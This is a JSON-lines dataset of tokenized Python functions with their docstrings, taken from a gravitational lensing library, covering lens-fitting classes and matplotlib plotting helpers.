{"signature": "def __init__(self, image, noise_map, mask, model_image, tracer, psf, map_to_scaled_array, padded_tracer=None):", "body": "<EOL>if padded_tracer is not None:<EOL><INDENT>original_noise_map = noise_map.copy()<EOL>unmasked_model_image = padded_tracer.image_plane.grid_stack.unmasked_blurred_image_from_psf_and_unmasked_image(psf=psf,<EOL>unmasked_image_1d=padded_tracer.<EOL>image_plane_image_1d)<EOL>for galaxy in tracer.galaxies:<EOL><INDENT>if galaxy.hyper_galaxy is not None:<EOL><INDENT>plane = padded_tracer.plane_with_galaxy(galaxy)<EOL>unmasked_galaxy_image = plane.unmasked_blurred_image_of_galaxy_with_grid_stack_psf(<EOL>galaxy,<EOL>padded_tracer.image_plane.grid_stack,<EOL>psf)<EOL>hyper_galaxy = galaxy.hyper_galaxy<EOL>hyper_noise = hyper_galaxy.hyper_noise_from_model_image_galaxy_image_and_noise_map(<EOL>unmasked_model_image,<EOL>unmasked_galaxy_image,<EOL>original_noise_map)<EOL>noise_map += hyper_noise<EOL><DEDENT><DEDENT><DEDENT>super().__init__(image=image, noise_map=noise_map, mask=mask, model_image=model_image)<EOL>self.tracer = tracer<EOL>self.padded_tracer = padded_tracer<EOL>self.psf = psf<EOL>self.map_to_scaled_array = map_to_scaled_array<EOL>", "docstring": "An  lens fitter, which contains the tracer's used to perform the fit and functions to manipulate \\\n        the lens data's hyper.\n\n        Parameters\n        -----------\n        tracer : ray_tracing.Tracer\n            The tracer, which describes the ray-tracing and strong lens configuration.\n        padded_tracer : ray_tracing.TracerNonStack or None\n            A tracer with an identical strong lens configuration to the tracer above, but using the lens data's \\\n            padded grid_stack such that unmasked model-images can be computed.\n        map_to_scaled_array : func\n            A function which maps the 1D lens hyper to its unmasked 2D array.", "id": "f5981:c1:m0"}
{"signature": "def __init__(self, lens_data, tracer, padded_tracer=None):", "body": "blurred_profile_image_1d = util.blurred_image_1d_from_1d_unblurred_and_blurring_images(<EOL>unblurred_image_1d=tracer.image_plane_image_1d, blurring_image_1d=tracer.image_plane_blurring_image_1d,<EOL>convolver=lens_data.convolver_image)<EOL>super(LensProfileFit, self).__init__(<EOL>image=lens_data.image, noise_map=lens_data.noise_map,<EOL>mask=lens_data.mask, model_image=lens_data.map_to_scaled_array(<EOL>array_1d=blurred_profile_image_1d),<EOL>tracer=tracer, padded_tracer=padded_tracer, psf=lens_data.psf,<EOL>map_to_scaled_array=lens_data.map_to_scaled_array)<EOL>self.convolver_image = lens_data.convolver_image<EOL>", "docstring": "An  lens profile fitter, which generates the image-plane image of all galaxies (with light \\\n        profiles) in the tracer and blurs it with the lens data's PSF.\n\n        If a padded tracer is supplied, the blurred profile image's can be generated over the entire image and thus \\\n        without the mask.\n\n        Parameters\n        -----------\n        lens_data : lens_data.LensData\n            The lens-image that is fitted.\n        tracer : ray_tracing.TracerNonStack\n            The tracer, which describes the ray-tracing and strong lens configuration.\n        padded_tracer : ray_tracing.Tracer or None\n            A tracer with an identical strong lens configuration to the tracer above, but using the lens data's \\\n            padded grid_stack such that unmasked model-images can be computed.", "id": "f5981:c2:m0"}
{"signature": "def __init__(self, lens_data, tracer, padded_tracer=None):", "body": "inversion = inversions.inversion_from_image_mapper_and_regularization(<EOL>image_1d=lens_data.image_1d, noise_map_1d=lens_data.noise_map_1d,<EOL>convolver=lens_data.convolver_mapping_matrix,<EOL>mapper=tracer.mappers_of_planes[-<NUM_LIT:1>], regularization=tracer.regularizations_of_planes[-<NUM_LIT:1>])<EOL>super().__init__(lens_data=lens_data,<EOL>model_image=inversion.reconstructed_data,<EOL>tracer=tracer,<EOL>inversion=inversion,<EOL>padded_tracer=padded_tracer)<EOL>", "docstring": "An  lens inversion fitter, which fits the lens data an inversion using the mapper(s) and \\\n        regularization(s) in the galaxies of the tracer.\n\n        This inversion use's the lens-image, its PSF and an input noise-map.\n\n        Parameters\n        -----------\n        lens_data : lens_data.LensData\n            The lens-image that is fitted.\n        tracer : ray_tracing.Tracer\n            The tracer, which describes the ray-tracing and strong lens configuration.", "id": "f5981:c4:m0"}
{"signature": "def __init__(self, lens_data, tracer, padded_tracer=None):", "body": "blurred_profile_image_1d = util.blurred_image_1d_from_1d_unblurred_and_blurring_images(<EOL>unblurred_image_1d=tracer.image_plane_image_1d, blurring_image_1d=tracer.image_plane_blurring_image_1d,<EOL>convolver=lens_data.convolver_image)<EOL>blurred_profile_image = lens_data.map_to_scaled_array(array_1d=blurred_profile_image_1d)<EOL>profile_subtracted_image_1d = lens_data.image_1d - blurred_profile_image_1d<EOL>inversion = inversions.inversion_from_image_mapper_and_regularization(<EOL>image_1d=profile_subtracted_image_1d, noise_map_1d=lens_data.noise_map_1d,<EOL>convolver=lens_data.convolver_mapping_matrix, mapper=tracer.mappers_of_planes[-<NUM_LIT:1>],<EOL>regularization=tracer.regularizations_of_planes[-<NUM_LIT:1>])<EOL>model_image = blurred_profile_image + inversion.reconstructed_data<EOL>super(LensProfileInversionFit, self).__init__(tracer=tracer,<EOL>padded_tracer=padded_tracer,<EOL>lens_data=lens_data,<EOL>model_image=model_image,<EOL>inversion=inversion)<EOL>self.convolver_image = lens_data.convolver_image<EOL>self.blurred_profile_image = blurred_profile_image<EOL>self.profile_subtracted_image = lens_data.image - self.blurred_profile_image<EOL>", "docstring": "An  lens profile and inversion fitter, which first generates and subtracts the image-plane \\\n        image of all galaxies (with light profiles) in the tracer, blurs it with the PSF and fits the residual image \\\n        with an inversion using the mapper(s) and regularization(s) in the galaxy's of the tracer.\n\n        This inversion use's the lens-image, its PSF and an input noise-map.\n\n        If a padded tracer is supplied, the blurred profile image's can be generated over the entire image and thus \\\n        without the mask.\n\n        Parameters\n        -----------\n        lens_data : lens_data.LensData\n            The lens-image that is fitted.\n        tracer : ray_tracing.Tracer\n            The tracer, which describes the ray-tracing and strong lens configuration.\n        padded_tracer : ray_tracing.TracerNonStack or None\n            A tracer with an identical strong lens configuration to the tracer above, but using the lens data's \\\n            padded grid_stack such that unmasked model-images can be computed.", "id": "f5981:c5:m0"}
{"signature": "def __init__(self, positions, noise_map):", "body": "self.positions = positions<EOL>self.noise_map = noise_map<EOL>", "docstring": "A lens position fitter, which takes a set of positions (e.g. from a plane in the tracer) and computes \\\n        their maximum separation, such that points which tracer closer to one another have a higher likelihood.\n\n        Parameters\n        -----------\n        positions : [[]]\n            The (y,x) arc-second coordinates of positions which the maximum distance and likelihood is computed using.\n        noise_map : ndarray | float\n            The noise-value assumed when computing the likelihood.", "id": "f5981:c6:m0"}
{"signature": "def get_subplot_rows_columns_figsize(number_subplots):", "body": "if number_subplots <= <NUM_LIT:2>:<EOL><INDENT>return <NUM_LIT:1>, <NUM_LIT:2>, (<NUM_LIT>, <NUM_LIT:8>)<EOL><DEDENT>elif number_subplots <= <NUM_LIT:4>:<EOL><INDENT>return <NUM_LIT:2>, <NUM_LIT:2>, (<NUM_LIT>, <NUM_LIT:10>)<EOL><DEDENT>elif number_subplots <= <NUM_LIT:6>:<EOL><INDENT>return <NUM_LIT:2>, <NUM_LIT:3>, (<NUM_LIT>, <NUM_LIT:12>)<EOL><DEDENT>elif number_subplots <= <NUM_LIT:9>:<EOL><INDENT>return <NUM_LIT:3>, <NUM_LIT:3>, (<NUM_LIT>, <NUM_LIT:20>)<EOL><DEDENT>elif number_subplots <= <NUM_LIT:12>:<EOL><INDENT>return <NUM_LIT:3>, <NUM_LIT:4>, (<NUM_LIT>, <NUM_LIT:20>)<EOL><DEDENT>elif number_subplots <= <NUM_LIT:16>:<EOL><INDENT>return <NUM_LIT:4>, <NUM_LIT:4>, (<NUM_LIT>, <NUM_LIT:20>)<EOL><DEDENT>elif number_subplots <= <NUM_LIT:20>:<EOL><INDENT>return <NUM_LIT:4>, <NUM_LIT:5>, (<NUM_LIT>, <NUM_LIT:20>)<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:6>, <NUM_LIT:6>, (<NUM_LIT>, <NUM_LIT:20>)<EOL><DEDENT>", "docstring": "Get the size of a sub plot in (rows, columns), based on the number of subplots that are going to be plotted.\n\n    Parameters\n    -----------\n    number_subplots : int\n        The number of subplots that are to be plotted in the figure.", "id": "f5984:m0"}
{"signature": "def setup_figure(figsize, as_subplot):", "body": "if not as_subplot:<EOL><INDENT>fig = plt.figure(figsize=figsize)<EOL>return fig<EOL><DEDENT>", "docstring": "Setup a figure for plotting an image.\n\n    Parameters\n    -----------\n    figsize : (int, int)\n        The size of the figure in (rows, columns).\n    as_subplot : bool\n        If the figure is a subplot, the setup_figure function is omitted to ensure that each subplot does not create a \\\n        new figure and so that it can be output using the *output_subplot_array* function.", "id": "f5984:m1"}
{"signature": "def set_title(title, titlesize):", "body": "plt.title(title, fontsize=titlesize)<EOL>", "docstring": "Set the title and title size of the figure.\n\n    Parameters\n    -----------\n    title : str\n        The text of the title.\n    titlesize : int\n        The size of of the title of the figure.", "id": "f5984:m2"}
{"signature": "def output_figure(array, as_subplot, output_path, output_filename, output_format):", "body": "if not as_subplot:<EOL><INDENT>if output_format is '<STR_LIT>':<EOL><INDENT>plt.show()<EOL><DEDENT>elif output_format is '<STR_LIT>':<EOL><INDENT>plt.savefig(output_path + output_filename + '<STR_LIT>', bbox_inches='<STR_LIT>')<EOL><DEDENT>elif output_format is '<STR_LIT>':<EOL><INDENT>array_util.numpy_array_2d_to_fits(array_2d=array, file_path=output_path + output_filename + '<STR_LIT>',<EOL>overwrite=True)<EOL><DEDENT><DEDENT>", "docstring": "Output the figure, either as an image on the screen or to the hard-disk as a .png or .fits file.\n\n    Parameters\n    -----------\n    array : ndarray\n        The 2D array of image to be output, required for outputting the image as a fits file.\n    as_subplot : bool\n        Whether the figure is part of subplot, in which case the figure is not output so that the entire subplot can \\\n        be output instead using the *output_subplot_array* function.\n    output_path : str\n        The path on the hard-disk where the figure is output.\n    output_filename : str\n        The filename of the figure that is output.\n    output_format : str\n        The format the figue is output:\n        'show' - display on computer screen.\n        'png' - output to hard-disk as a png.\n        'fits' - output to hard-disk as a fits file.'", "id": "f5984:m3"}
{"signature": "def output_subplot_array(output_path, output_filename, output_format):", "body": "if output_format is '<STR_LIT>':<EOL><INDENT>plt.show()<EOL><DEDENT>elif output_format is '<STR_LIT>':<EOL><INDENT>plt.savefig(output_path + output_filename + '<STR_LIT>', bbox_inches='<STR_LIT>')<EOL><DEDENT>elif output_format is '<STR_LIT>':<EOL><INDENT>raise exc.PlottingException('<STR_LIT>')<EOL><DEDENT>", "docstring": "Output a figure which consists of a set of subplot,, either as an image on the screen or to the hard-disk as a \\\n    .png file.\n\n    Parameters\n    -----------\n    output_path : str\n        The path on the hard-disk where the figure is output.\n    output_filename : str\n        The filename of the figure that is output.\n    output_format : str\n        The format the figue is output:\n        'show' - display on computer screen.\n        'png' - output to hard-disk as a png.", "id": "f5984:m4"}
{"signature": "def close_figure(as_subplot):", "body": "if not as_subplot:<EOL><INDENT>plt.close()<EOL><DEDENT>", "docstring": "After plotting and outputting a figure, close the matplotlib figure instance (omit if a subplot).\n\n    Parameters\n    -----------\n    as_subplot : bool\n        Whether the figure is part of subplot, in which case the figure is not closed so that the entire figure can \\\n        be closed later after output.", "id": "f5984:m5"}
{"signature": "def plot_array(array, origin=None, mask=None, extract_array_from_mask=False, zoom_around_mask=False,<EOL>should_plot_border=False, positions=None, centres=None, axis_ratios=None, phis=None, grid=None,<EOL>as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, border_pointsize=<NUM_LIT:2>, position_pointsize=<NUM_LIT:30>, grid_pointsize=<NUM_LIT:1>,<EOL>xticks_manual=None, yticks_manual=None,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "if array is None:<EOL><INDENT>return<EOL><DEDENT>if extract_array_from_mask and mask is not None:<EOL><INDENT>array = np.add(array, <NUM_LIT:0.0>, out=np.zeros_like(array), where=np.asarray(mask) == <NUM_LIT:0>)<EOL><DEDENT>if zoom_around_mask and mask is not None:<EOL><INDENT>array = array.zoomed_scaled_array_around_mask(mask=mask, buffer=<NUM_LIT:2>)<EOL>zoom_offset_pixels = np.asarray(mask.zoom_offset_pixels)<EOL>zoom_offset_arcsec = np.asarray(mask.zoom_offset_arcsec)<EOL><DEDENT>else:<EOL><INDENT>zoom_offset_pixels = None<EOL>zoom_offset_arcsec = None<EOL><DEDENT>if aspect is '<STR_LIT>':<EOL><INDENT>aspect = float(array.shape_arcsec[<NUM_LIT:1>]) / float(array.shape_arcsec[<NUM_LIT:0>])<EOL><DEDENT>fig = plot_figure(array=array, as_subplot=as_subplot, units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>figsize=figsize, aspect=aspect, cmap=cmap, norm=norm,<EOL>norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>xticks_manual=xticks_manual, yticks_manual=yticks_manual)<EOL>plotter_util.set_title(title=title, titlesize=titlesize)<EOL>set_xy_labels_and_ticksize(units=units, kpc_per_arcsec=kpc_per_arcsec, xlabelsize=xlabelsize, ylabelsize=ylabelsize,<EOL>xyticksize=xyticksize)<EOL>set_colorbar(cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad,<EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels)<EOL>plot_origin(array=array, origin=origin, units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>zoom_offset_arcsec=zoom_offset_arcsec)<EOL>plot_mask(mask=mask, units=units, kpc_per_arcsec=kpc_per_arcsec, pointsize=mask_pointsize,<EOL>zoom_offset_pixels=zoom_offset_pixels)<EOL>plot_border(mask=mask, should_plot_border=should_plot_border, units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>pointsize=border_pointsize, zoom_offset_pixels=zoom_offset_pixels)<EOL>plot_points(points_arcsec=positions, array=array, units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>pointsize=position_pointsize, zoom_offset_arcsec=zoom_offset_arcsec)<EOL>plot_grid(grid_arcsec=grid, array=array, units=units, kpc_per_arcsec=kpc_per_arcsec, pointsize=grid_pointsize,<EOL>zoom_offset_arcsec=zoom_offset_arcsec)<EOL>plot_centres(array=array, centres=centres, units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>zoom_offset_arcsec=zoom_offset_arcsec)<EOL>plot_ellipses(fig=fig, array=array, centres=centres, axis_ratios=axis_ratios, phis=phis, units=units,<EOL>kpc_per_arcsec=kpc_per_arcsec, zoom_offset_arcsec=zoom_offset_arcsec)<EOL>plotter_util.output_figure(array, as_subplot=as_subplot, output_path=output_path, output_filename=output_filename,<EOL>output_format=output_format)<EOL>plotter_util.close_figure(as_subplot=as_subplot)<EOL>", "docstring": "Plot an array of data as a figure.\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted.\n    origin : (float, float).\n        The origin of the coordinate system of the array, which is plotted as an 'x' on the image if input.\n    mask : data.array.mask.Mask\n        The mask applied to the array, the edge of which is plotted as a set of points over the plotted array.\n    extract_array_from_mask : bool\n        The plotter array is extracted using the mask, such that masked values are plotted as zeros. This ensures \\\n        bright features outside the mask do not impact the color map of the plot.\n    zoom_around_mask : bool\n        If True, the 2D region of the array corresponding to the rectangle encompassing all unmasked values is \\\n        plotted, thereby zooming into the region of interest.\n    should_plot_border : bool\n        If a mask is supplied, its borders pixels (e.g. the exterior edge) is plotted if this is *True*.\n    positions : [[]]\n        Lists of (y,x) coordinates on the image which are plotted as colored dots, to highlight specific pixels.\n    grid : data.array.grids.RegularGrid\n        A grid of (y,x) coordinates which may be plotted over the plotted array.\n    as_subplot : bool\n        Whether the array is plotted as part of a subplot, in which case the grid figure is not opened / closed.\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float or None\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n    figsize : (int, int)\n        The size of the figure in (rows, columns).\n    aspect : str\n        The aspect ratio of the array, specifically whether it is forced to be square ('equal') or adapts its size to \\\n        the figure size ('auto').\n    cmap : str\n        The colormap the array is plotted using, which may be chosen from the standard matplotlib colormaps.\n    norm : str\n        The normalization of the colormap used to plot the image, specifically whether it is linear ('linear'), log \\\n        ('log') or a symmetric log normalization ('symmetric_log').\n    norm_min : float or None\n        The minimum array value the colormap map spans (all values below this value are plotted the same color).\n    norm_max : float or None\n        The maximum array value the colormap map spans (all values above this value are plotted the same color).\n    linthresh : float\n        For the 'symmetric_log' colormap normalization ,this specifies the range of values within which the colormap \\\n        is linear.\n    linscale : float\n        For the 'symmetric_log' colormap normalization, this allowws the linear range set by linthresh to be stretched \\\n        relative to the logarithmic range.\n    cb_ticksize : int\n        The size of the tick labels on the colorbar.\n    cb_fraction : float\n        The fraction of the figure that the colorbar takes up, which resizes the colorbar relative to the figure.\n    cb_pad : float\n        Pads the color bar in the figure, which resizes the colorbar relative to the figure.\n    xlabelsize : int\n        The fontsize of the x axes label.\n    ylabelsize : int\n        The fontsize of the y axes label.\n    xyticksize : int\n        The font size of the x and y ticks on the figure axes.\n    mask_pointsize : int\n        The size of the points plotted to show the mask.\n    border_pointsize : int\n        The size of the points plotted to show the borders.\n    positions_pointsize : int\n        The size of the points plotted to show the input positions.\n    grid_pointsize : int\n        The size of the points plotted to show the grid.\n    xticks_manual :  [] or None\n        If input, the xticks do not use the array's default xticks but instead overwrite them as these values.\n    yticks_manual :  [] or None\n        If input, the yticks do not use the array's default yticks but instead overwrite them as these values.\n    output_path : str\n        The path on the hard-disk where the figure is output.\n    output_filename : str\n        The filename of the figure that is output.\n    output_format : str\n        The format the figue is output:\n        'show' - display on computer screen.\n        'png' - output to hard-disk as a png.\n        'fits' - output to hard-disk as a fits file.'\n\n    Returns\n    --------\n    None\n\n    Examples\n    --------\n        array_plotters.plot_array(\n        array=image, origin=(0.0, 0.0), mask=circular_mask, extract_array_from_mask=True, zoom_around_mask=True,\n        should_plot_border=False, positions=[[1.0, 1.0], [2.0, 2.0]], grid=None, as_subplot=False,\n        units='arcsec', kpc_per_arcsec=None, figsize=(7,7), aspect='auto',\n        cmap='jet', norm='linear, norm_min=None, norm_max=None, linthresh=None, linscale=None,\n        cb_ticksize=10, cb_fraction=0.047, cb_pad=0.01, cb_tick_values=None, cb_tick_labels=None,\n        title='Image', titlesize=16, xlabelsize=16, ylabelsize=16, xyticksize=16,\n        mask_pointsize=10, border_pointsize=2, position_pointsize=10, grid_pointsize=10,\n        xticks_manual=None, yticks_manual=None,\n        output_path='/path/to/output', output_format='png', output_filename='image')", "id": "f5985:m0"}
{"signature": "def plot_figure(array, as_subplot, units, kpc_per_arcsec, figsize, aspect, cmap, norm, norm_min, norm_max,<EOL>linthresh, linscale, xticks_manual, yticks_manual):", "body": "fig = plotter_util.setup_figure(figsize=figsize, as_subplot=as_subplot)<EOL>norm_min, norm_max = get_normalization_min_max(array=array, norm_min=norm_min, norm_max=norm_max)<EOL>norm_scale = get_normalization_scale(norm=norm, norm_min=norm_min, norm_max=norm_max,<EOL>linthresh=linthresh, linscale=linscale)<EOL>extent = get_extent(array=array, units=units, kpc_per_arcsec=kpc_per_arcsec,<EOL>xticks_manual=xticks_manual, yticks_manual=yticks_manual)<EOL>plt.imshow(array, aspect=aspect, cmap=cmap, norm=norm_scale, extent=extent)<EOL>return fig<EOL>", "docstring": "Open a matplotlib figure and plot the array of data on it.\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted.\n    as_subplot : bool\n        Whether the array is plotted as part of a subplot, in which case the grid figure is not opened / closed.\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float or None\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n    figsize : (int, int)\n        The size of the figure in (rows, columns).\n    aspect : str\n        The aspect ratio of the array, specifically whether it is forced to be square ('equal') or adapts its size to \\\n        the figure size ('auto').\n    cmap : str\n        The colormap the array is plotted using, which may be chosen from the standard matplotlib colormaps.\n    norm : str\n        The normalization of the colormap used to plot the image, specifically whether it is linear ('linear'), log \\\n        ('log') or a symmetric log normalization ('symmetric_log').\n    norm_min : float or None\n        The minimum array value the colormap map spans (all values below this value are plotted the same color).\n    norm_max : float or None\n        The maximum array value the colormap map spans (all values above this value are plotted the same color).\n    linthresh : float\n        For the 'symmetric_log' colormap normalization ,this specifies the range of values within which the colormap \\\n        is linear.\n    linscale : float\n        For the 'symmetric_log' colormap normalization, this allowws the linear range set by linthresh to be stretched \\\n        relative to the logarithmic range.\n    xticks_manual :  [] or None\n        If input, the xticks do not use the array's default xticks but instead overwrite them as these values.\n    yticks_manual :  [] or None\n        If input, the yticks do not use the array's default yticks but instead overwrite them as these values.", "id": "f5985:m1"}
{"signature": "def get_extent(array, units, kpc_per_arcsec, xticks_manual, yticks_manual):", "body": "if xticks_manual is not None and yticks_manual is not None:<EOL><INDENT>return np.asarray([xticks_manual[<NUM_LIT:0>], xticks_manual[<NUM_LIT:3>], yticks_manual[<NUM_LIT:0>], yticks_manual[<NUM_LIT:3>]])<EOL><DEDENT>if units in '<STR_LIT>':<EOL><INDENT>return np.asarray([<NUM_LIT:0>, array.shape[<NUM_LIT:1>], <NUM_LIT:0>, array.shape[<NUM_LIT:0>]])<EOL><DEDENT>elif units in '<STR_LIT>' or kpc_per_arcsec is None:<EOL><INDENT>return np.asarray([array.arc_second_minima[<NUM_LIT:1>], array.arc_second_maxima[<NUM_LIT:1>],<EOL>array.arc_second_minima[<NUM_LIT:0>], array.arc_second_maxima[<NUM_LIT:0>]])<EOL><DEDENT>elif units in '<STR_LIT>':<EOL><INDENT>return list(map(lambda tick : tick*kpc_per_arcsec,<EOL>np.asarray([array.arc_second_minima[<NUM_LIT:1>], array.arc_second_maxima[<NUM_LIT:1>],<EOL>array.arc_second_minima[<NUM_LIT:0>], array.arc_second_maxima[<NUM_LIT:0>]])))<EOL><DEDENT>else:<EOL><INDENT>raise exc.PlottingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Get the extent of the dimensions of the array in the units of the figure (e.g. arc-seconds or kpc).\n\n    This is used to set the extent of the array and thus the y / x axis limits.\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted.\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n    xticks_manual :  [] or None\n        If input, the xticks do not use the array's default xticks but instead overwrite them as these values.\n    yticks_manual :  [] or None\n        If input, the yticks do not use the array's default yticks but instead overwrite them as these values.", "id": "f5985:m2"}
{"signature": "def get_normalization_min_max(array, norm_min, norm_max):", "body": "if norm_min is None:<EOL><INDENT>norm_min = array.min()<EOL><DEDENT>if norm_max is None:<EOL><INDENT>norm_max = array.max()<EOL><DEDENT>return norm_min, norm_max<EOL>", "docstring": "Get the minimum and maximum of the normalization of the array, which sets the lower and upper limits of the \\\n    colormap.\n\n    If norm_min / norm_max are not supplied, the minimum / maximum values of the array of data are used.\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted.\n    norm_min : float or None\n        The minimum array value the colormap map spans (all values below this value are plotted the same color).\n    norm_max : float or None\n        The maximum array value the colormap map spans (all values above this value are plotted the same color).", "id": "f5985:m3"}
{"signature": "def get_normalization_scale(norm, norm_min, norm_max, linthresh, linscale):", "body": "if norm is '<STR_LIT>':<EOL><INDENT>return colors.Normalize(vmin=norm_min, vmax=norm_max)<EOL><DEDENT>elif norm is '<STR_LIT>':<EOL><INDENT>if norm_min == <NUM_LIT:0.0>:<EOL><INDENT>norm_min = <NUM_LIT><EOL><DEDENT>return colors.LogNorm(vmin=norm_min, vmax=norm_max)<EOL><DEDENT>elif norm is '<STR_LIT>':<EOL><INDENT>return colors.SymLogNorm(linthresh=linthresh, linscale=linscale, vmin=norm_min, vmax=norm_max)<EOL><DEDENT>else:<EOL><INDENT>raise exc.PlottingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Get the normalization scale of the colormap. This will be scaled based on the input min / max normalization \\\n    values.\n\n    For a 'symmetric_log' colormap, linthesh and linscale also change the colormap.\n\n    If norm_min / norm_max are not supplied, the minimum / maximum values of the array of data are used.\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted.\n    norm_min : float or None\n        The minimum array value the colormap map spans (all values below this value are plotted the same color).\n    norm_max : float or None\n        The maximum array value the colormap map spans (all values above this value are plotted the same color).\n    linthresh : float\n        For the 'symmetric_log' colormap normalization ,this specifies the range of values within which the colormap \\\n        is linear.\n    linscale : float\n        For the 'symmetric_log' colormap normalization, this allowws the linear range set by linthresh to be stretched \\\n        relative to the logarithmic range.", "id": "f5985:m4"}
{"signature": "def set_xy_labels_and_ticksize(units, kpc_per_arcsec, xlabelsize, ylabelsize, xyticksize):", "body": "if units in '<STR_LIT>':<EOL><INDENT>plt.xlabel('<STR_LIT>', fontsize=xlabelsize)<EOL>plt.ylabel('<STR_LIT>', fontsize=ylabelsize)<EOL><DEDENT>elif units in '<STR_LIT>' or kpc_per_arcsec is None:<EOL><INDENT>plt.xlabel('<STR_LIT>', fontsize=xlabelsize)<EOL>plt.ylabel('<STR_LIT>', fontsize=ylabelsize)<EOL><DEDENT>elif units in '<STR_LIT>':<EOL><INDENT>plt.xlabel('<STR_LIT>', fontsize=xlabelsize)<EOL>plt.ylabel('<STR_LIT>', fontsize=ylabelsize)<EOL><DEDENT>else:<EOL><INDENT>raise exc.PlottingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>plt.tick_params(labelsize=xyticksize)<EOL>", "docstring": "Set the x and y labels of the figure, and set the fontsize of those labels.\n\n    The x and y labels are always the distance scales, thus the labels are either arc-seconds or kpc and depend on the \\\n    units the figure is plotted in.\n\n    Parameters\n    -----------\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.\n    xlabelsize : int\n        The fontsize of the x axes label.\n    ylabelsize : int\n        The fontsize of the y axes label.\n    xyticksize : int\n        The font size of the x and y ticks on the figure axes.", "id": "f5985:m5"}
{"signature": "def set_colorbar(cb_ticksize, cb_fraction, cb_pad, cb_tick_values, cb_tick_labels):", "body": "if cb_tick_values is None and cb_tick_labels is None:<EOL><INDENT>cb = plt.colorbar(fraction=cb_fraction, pad=cb_pad)<EOL><DEDENT>elif cb_tick_values is not None and cb_tick_labels is not None:<EOL><INDENT>cb = plt.colorbar(fraction=cb_fraction, pad=cb_pad, ticks=cb_tick_values)<EOL>cb.ax.set_yticklabels(cb_tick_labels)<EOL><DEDENT>else:<EOL><INDENT>raise exc.PlottingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>cb.ax.tick_params(labelsize=cb_ticksize)<EOL>", "docstring": "Setup the colorbar of the figure, specifically its ticksize and the size is appears relative to the figure.\n\n    Parameters\n    -----------\n    cb_ticksize : int\n        The size of the tick labels on the colorbar.\n    cb_fraction : float\n        The fraction of the figure that the colorbar takes up, which resizes the colorbar relative to the figure.\n    cb_pad : float\n        Pads the color bar in the figure, which resizes the colorbar relative to the figure.\n    cb_tick_values : [float]\n        Manually specified values of where the colorbar tick labels appear on the colorbar.\n    cb_tick_labels : [float]\n        Manually specified labels of the color bar tick labels, which appear where specified by cb_tick_values.", "id": "f5985:m6"}
{"signature": "def convert_grid_units(array, grid_arcsec, units, kpc_per_arcsec):", "body": "if units in '<STR_LIT>':<EOL><INDENT>return array.grid_arcsec_to_grid_pixels(grid_arcsec=grid_arcsec)<EOL><DEDENT>elif units in '<STR_LIT>' or kpc_per_arcsec is None:<EOL><INDENT>return grid_arcsec<EOL><DEDENT>elif units in '<STR_LIT>':<EOL><INDENT>return grid_arcsec * kpc_per_arcsec<EOL><DEDENT>else:<EOL><INDENT>raise exc.PlottingException('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Convert the grid from its input units (arc-seconds) to the input unit (e.g. retain arc-seconds) or convert to \\\n    another set of units (pixels or kilo parsecs).\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The 2D array of data which is plotted, the shape of which is used for converting the grid to units of pixels.\n    grid_arcsec : ndarray or data.array.grids.RegularGrid\n        The (y,x) coordinates of the grid in arc-seconds, in an array of shape (total_coordinates, 2).\n    units : str\n        The units of the y / x axis of the plots, in arc-seconds ('arcsec') or kiloparsecs ('kpc').\n    kpc_per_arcsec : float\n        The conversion factor between arc-seconds and kiloparsecs, required to plot the units in kpc.", "id": "f5985:m7"}
